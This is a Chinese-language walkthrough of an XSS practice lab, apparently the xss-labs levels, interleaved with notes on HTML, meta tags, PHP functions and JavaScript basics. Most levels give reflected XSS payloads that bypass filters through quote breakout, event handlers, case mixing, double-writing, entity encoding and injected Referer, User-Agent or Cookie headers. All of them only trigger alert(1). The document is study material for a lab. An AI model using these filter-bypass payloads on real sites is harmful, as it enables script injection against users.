level 1
直接在url中加入<script>alert(1)</script>
源码

---------------------------------------------------------------------------------------------------------------------------------
ini_set()函数
ini_set(string 选项名, string 选项值)
ini_set()函数在PHP中使用非常广泛,它允许我们在脚本中临时更改某个配置选项值,常用于动态配置。
例如:修改php.ini中的display_errors选项 ini_set('display_errors', 'On');
--------------------------------------------------------------------------------------------------------------------------------
<script> 标签的作用——引入 JS 代码
-------------------------------------------------------------------------------------------------------------------------------
Content-Type(内容类型),一般是指网页中存在的 Content-Type,用于定义网络文件的类型和网页的编码,决定浏览器将以什么形式、什么编码读取这个文件
-----------------------------------------------------------------------------------------------------------------------------
META标签用来描述一个HTML网页文档的属性,例如作者、日期和时间、网页描述、关键词、页面刷新等。
1、<meta http-equiv="Content-Type" content="text/html;charset=gb_2312-80">和<meta http-equiv="Content-Language" content="zh-CN">用以说明主页制作所使用的文字以及语言;又如英文是ISO-8859-1字符集,还有BIG5、utf-8、shift-Jis、Euc、Koi8-2等字符集;
2、<meta http-equiv="Refresh" content="n;url=http://yourlink">定时让网页在指定的时间n内,跳转到你的页面;
3、<meta http-equiv="Expires" content="Mon,12 May 2001 00:20:00 GMT">可以用于设定网页的到期时间,一旦过期则必须到服务器上重新调用。需要注意的是必须使用GMT时间格式;
4、<meta http-equiv="Pragma" content="no-cache">是用于设定禁止浏览器从本地机的缓存中调阅页面内容,设定后一旦离开网页就无法从Cache中再调出;
5、<meta http-equiv="set-cookie" content="Mon,12 May 2001 00:20:00 GMT">cookie设定,如果网页过期,存盘的cookie将被删除。需要注意的也是必须使用GMT时间格式;
6、<meta http-equiv="Pics-label" content=>网页等级评定,在IE的internet选项中有一项内容设置,可以防止浏览一些受限制的网站,而网站的限制级别就是通过meta属性来设置的;
7、<meta http-equiv="windows-Target" content="_top">强制页面在当前窗口中以独立页面显示,可以防止自己的网页被别人当作一个frame页调用;
8、<meta http-equiv="Page-Enter" content="revealTrans(duration=10,transition= 50)">和<meta http-equiv="Page-Exit" content="revealTrans(duration=20,transition=6)">设定进入和离开页面时的特殊效果,这个功能即FrontPage中的"格式/网页过渡",不过所加的页面不能够是一个frame页面。
---------------------------------------------------------------------------------------------------------------------------------
1.注释标签: <!-- 注释内容- ->
2.换行标签:<br />
3.字体标签: <font></font>
4.标题标签:<h1></h1>~<h6></h6> 数字越大,字体越小
align 属性是对齐属性
left 左对齐(默认)
center 剧中
right 右对
5.超链接标签:<a href=“链接地址”></a>
<a>标签 运行机制
1、a标签的href属性值如果是以http开头的,那么浏览器会马上启动http解释器去解释
该网址,首先会在本地机器去找一个hosts文件, 如果在hosts文件上该域名没有对应的主机
,那么浏览器就去到对应的dns服务器去寻找该域名对应的主机号。如果找到了对应的主机,
那么该请求就会发给对应的主机。
2. 如果a标签的href属性值没有以任何协议开头,那么浏览就会启动file协议解释器去解
释该资源路径。
3. 如果a标签的href属性值并不是以http开始,而且其他 的一些协议,那么这时候浏览
器就回去到我们本地的注册表中去查找是否有处理这种协议 的应用程序,如果有,那么马上启
动该应用程序处理该协议。
这里后面我们构造的<a>标签是使用的JavaScript协议,这个协议就是在我们写的JavaScript代码前面加一个JavaScript:,然后就会简析成JavaScript,
6.表格标签:<table></table>
tr 行标签
th 表头标签
td 单元格标签
b 是加粗标
表格标签的属性:
border 设置表格标签
width 设置表格宽度
height 设置表格高度
align 设置表格相对于页面的对齐方式
cellspacing 设置单元格间
7.div标签:<div> </div> 默认独占一行
8.span标签:<span><span> 它的长度是封装数据的长度
<span>在行内定义一个区域,也就是一行内可以被<span>划分成好几个区域,从而实现某种特定效果。<span>本身没有任何属性。
9.p段落标签:<p><\p> 默认会在段落的上方或下方各空出一行来
10.<center>将 HTML 网页中的文本进行水平居中处理
11.<button>元素 表示一个可点击的按钮
12.图片标签:<img src=“图片地址”>
src:获取图片地址
width:设置图片的宽度
height:设置图片的高度
alt:图片找不着时提醒用户
---------------------------------------------------------------------------------------------------------------------------
Javascript 语法
想了想还是得了解一下
JavaScript可以修改HTML内容
getElementById()方法返回其ID与指定值匹配的元素
document.getElementById("para").innerHTML = "Hello world";
有三种方法可以将JavaScript添加到网页
可以在<script>和</script>标记之间插入JavaScript代码
使用事件属性(例如onclick,onkeypress等)将JavaScript代码直接放在HTML标记内
创建一个外部JavaScript文件,<script>标记的src属性将其加载到页面中,
外部 JavaScript 文件的文件扩展名是 .js。
如需使用外部文件,请在 <script> 标签的 "src" 属性中设置该 .js 文件
例如<script src="myScript.js"></script>
JavaScript可以干什么
JavaScript可以修改文本内容
JavaScript可以更改元素的样式(CSS)和位置
JavaScript可以更改HTML属性
JavaScript可以隐藏和显示HTML元素
JavaScript可以添加和删除HTML元素
JavaScript可以监视鼠标单击,悬停等事件并对其做出反应
JavaScript可以创建警告弹出窗口,以向用户显示信息或警告消息
JavaScript可以在将用户输入提交到服务器之前对其进行验证
不同前缀什么意思
写入HTML元素使用 innerHTML
写入文档流使用 document.write()
弹出警告框,使用 window.alert()
写入浏览器控制台使用 console.log()
声明一个变量,可以选择将其初始化为一个值
函数
定义 Function 名称(变量){语句}
返回值 用return 如果要返回多个值,返回一个数组
调用函数
事件发生时(用户单击按钮时)
从JavaScript代码中调用它
自动
level 2(闭合标签)

这个对输入的内容进行了转义,没有办法直接执行了
后面的变量没有进行转义,我们就从这里利用,构成闭合
"><script>alert(1)</script>
level 3 (单引号闭合)

这次俩个都转义了,
htmlspecialchars()默认状态下不对单引号进行编译,
所以我们可以构造 ' onclick ='javascript:alert(1)
闭合前面的单引号
htmlspecialchars(string ,quotestyle ,character-set)函数
第二个参数:
ENT_COMPAT,只转换双引号(默认)。
ENT_QUOTS,单引号和双引号同时转换。
ENT_NOQUOTES,不对引号进行转换。
第三个参数为处理字符串的指定字符集
这些都可以进行构造:
| onchange | HTML 元素改变 |
| onclick | 用户点击 HTML 元素 |
| onmouseover | 鼠标指针移动到指定的元素上时发生 |
| onmouseout | 用户从一个 HTML 元素上移开鼠标时发生 |
| onkeydown | 用户按下键盘按键 |
| onload | 浏览器已完成页面的加载 |
level 4(双引号闭合)

这个用了str_replace函数替换,又用了htmlspecialchars
也是闭合,因为前面是双引号,直接用双引号闭合
"onclick ="javascript:alert(1)
level 5()

本关把script和on给都替换了,所以我们用<a>标签
payload:
"> <a href=javascript:alert('xss')>xss</a>
level 6(大小写混用)

这个把herf也给替换了
但是他没有考虑大小写,所以我们就大小写混用
payload:
"> <a Href=javascript:alert('xss')>xss</a>//
"> <ScripT>alert('1')</ScRipT>
"Onclick ="javascript:alert(1)
level 7(双写绕过)
这一关就用函数考虑了大小写,所以大小写是行不通了
我们双写
payload:
"> <a hrehreff=javascrscriptipt:alert('xss')>xss</a>
"><sscriptcript>alert('xss')</sscriptcript>
level 8(html编码)
这一关把双引号也给过滤了
直接把这些都转换为HTML
javascript:alert(‘xss’)
javascript:alert('xss')
level 9
strops检测第一次出现的位置
所以加一个//http://
javascript:alert(1)//http://
level 10

这个竟然给隐藏了
因为什么也没有了,我们只能从url 中来过关了
把属性改掉
url
#表示网页中的一个位置,被称之为锚点,常用于某个网页间不同位置的跳转
?问号:常用于动态网站,实现不同的参数值而生成不同的页面或者返回不同的结果
&,连接符,用于链接不同的参数
&t_sort=" type="text" onclick="alert(1)
level 11
也什么也没有,

$_SERVER['HTTP_REFERER'] 连接到当前页面的前一页面的 URL 地址
因为他会把前一页的代码传入,我们就从这里绕过
burp抓包,加入referer
payload:
Referer: " οnclick=javascript:alert(1) type="text"
level 12

$_SERVER['HTTP_USER_AGENT']变量用于获取用户客户端信息,包括了用户浏览器、操作系统等等
| 1.$_SERVER['HTTP_ACCEPT'] — 当前请求的 Accept: 头信息的内容。 2、$_SERVER['HTTP_ACCEPT_CHARSET'] — 当前请求的 Accept-Charset: 头信息的内容。 3、$_SERVER['HTTP_ACCEPT_ENCODING'] — 当前请求的 Accept-Encoding: 头信息的内容。 4、$_SERVER['HTTP_ACCEPT_LANGUAGE'] — 当前请求的 Accept-Language: 头信息的内容。 5、$_SERVER['HTTP_CONNECTION']— 当前请求的 Connection: 头信息的内容。例如:“Keep-Alive”。 6、$_SERVER['HTTP_HOST'] — 当前请求的 Host: 头信息的内容。 7、$_SERVER['HTTP_REFERER'] — 链接到当前页面的前一页面的 URL 地址。 8、$_SERVER['HTTP_USER_AGENT'] — 返回用户使用的浏览器信息。也可以使用 get_browser() 得到此信息。 9、$_SERVER['HTTPS'] — 如果通过https访问,则被设为一个非空的值,否则返回off. |
这个我们构造User Agent
payload:
" οnclick=javascript:alert(1) type="text"
level 13
这一关与cookie有关,
抓包然后修改cookie
payload:
user=" οnclick=alert(1) type="text"
---------------------------------------------------------------------------------------------------------------------------------
setcookie() 函数,像它的名字一样,向客户端发送一个 HTTP cookie
setcookie(name,value,expire,path,domain,secure)
参数
说明
name
必需。规定 cookie 的名称。
value
必需。规定 cookie 的值。
expire
可选。规定 cookie 的有效期。
path
可选。规定 cookie 的服务器路径。
domain
可选。规定 cookie 的域名。
secure
可选。规定是否通过安全的 HTTPS 连接来传输 cookie。
这个原文中time()+3600 表示1个小时后过期,如果想要表示俩个小时 time()+3600*2
---------------------------------------------------------------------------------------------------------------------------------
level 14

<iframe> 标签规定一个内联框架。
scrolling就和它的英文一样,就是滚动条,规定有没有
其他也就是宽什么的
class
classname
规定元素的类名(classname)
id
id
规定元素的特定id
style
style_definition
规定元素的行内样式(inline style)
title
text
规定元素的额外信息(可在工具提示中显示)
level 15
这个还是什么都没有
在head里加了<script>

并且这里也是转义了
ng-include指令一般用于包含外部HTML文件
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
注意引用文件名要加单引号
因为要包含html文件,那我们就包含一下前面的关,
用onerror事件
在图片加载失败是就执行的 JavaScript
?src='level1.php?name=<img src=1 οnerrοr=alert(1)>'
level 16

这个用替换函数给把空格和斜杠给替换了,还替换了俩次
我们用%0a或%0d代替空格,这里只过滤了script,所以我们可以使用<a>标签,<img>
payload:
/level16.php?keyword=<a%0dhref='javas%0acript:alert(1)'>xss
payload:
/level16.php?keyword=<img%0dsrc=1%0donerror=alert(1)>
或
keyword=<img%0asrc=1%0donerror=alert(1)>
level 17
<embed>可以嵌入图片type="image/jpg"
HTML页面type="text/html"
视频type="video/webm"
有俩个参数直接在后面加 就行
就可以弹窗了
level 18

源码都和上面那个一样
19 和20源码都和前面的18一样
但是打不开


.swf后缀是Flash的文件格式
本文介绍了PHP的ini_set函数、HTML元标签的用途、Content-Type和meta标签的详细解释,以及JavaScript的基础语法和在网页中的应用。此外,讨论了如何构造XSS攻击并提到了防御措施,如HTML编码和AngularJS的ng-include指令的使用。
739





